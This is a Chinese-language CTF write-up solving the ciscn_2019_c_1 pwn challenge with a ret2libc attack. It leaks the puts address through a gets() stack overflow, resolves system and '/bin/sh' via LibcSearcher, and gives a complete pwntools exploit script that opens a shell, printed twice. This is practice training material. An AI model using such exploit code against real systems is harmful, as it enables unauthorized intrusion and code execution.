思路
开启了栈不可执行,因此shellcode方法失效,IDA查看漏洞
在encrypt函数中发现gets,因此估计是一道ret2libc的题目,由于这是64位程序,寻找pop rdi ret就行
发现存在pop_rdi_ret,因此思路为:
- 先泄露puts地址,这样可以获得相应libc
- 通过获得的libc得到system地址和/bin/sh地址,大功告成!
程序流程分析
执行可执行文件,先输入选择,由于漏洞在encrypt,我们选用1
让我们输入要加密的内容
输入AAAAAAAA,会自动输出加密后的内容,并且重新开始选择界面
解题
先获取libc
思路有两种,1.绕过程序加密步骤,利用程序输出。2.使用puts函数输出
这里我选择第二种
先动调计算gets需要填充的地址:
需要填充0xe10-0xdc0p = 0x50和0x08地址空间,获取libc代码:
from pwn import *
from LibcSearcher import *
io = process("./ciscn_2019_c_1")
# io = remote("node4.buuoj.cn",28315)
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols["encrypt"]
main_addr = elf.symbols['main']
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
io.sendlineafter("Input your choice!\n",str(1))
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
通过libc找到/bin/sh地址实施攻击
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(main_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.interactive()
完整代码
from pwn import *
from LibcSearcher import *
io = process("./ciscn_2019_c_1")
# io = remote("node4.buuoj.cn",28315)
elf = ELF("./ciscn_2019_c_1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols["encrypt"]
main_addr = elf.symbols['main']
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
io.sendlineafter("Input your choice!\n",str(1))
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
puts_addr = u64(io.recvline().strip().ljust(8,b'\0'))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
str_bin_sh = libcbase + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 0x08) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system_addr) + p64(main_addr)
io.sendlineafter("Input your Plaintext to be encrypted",payload)
io.interactive()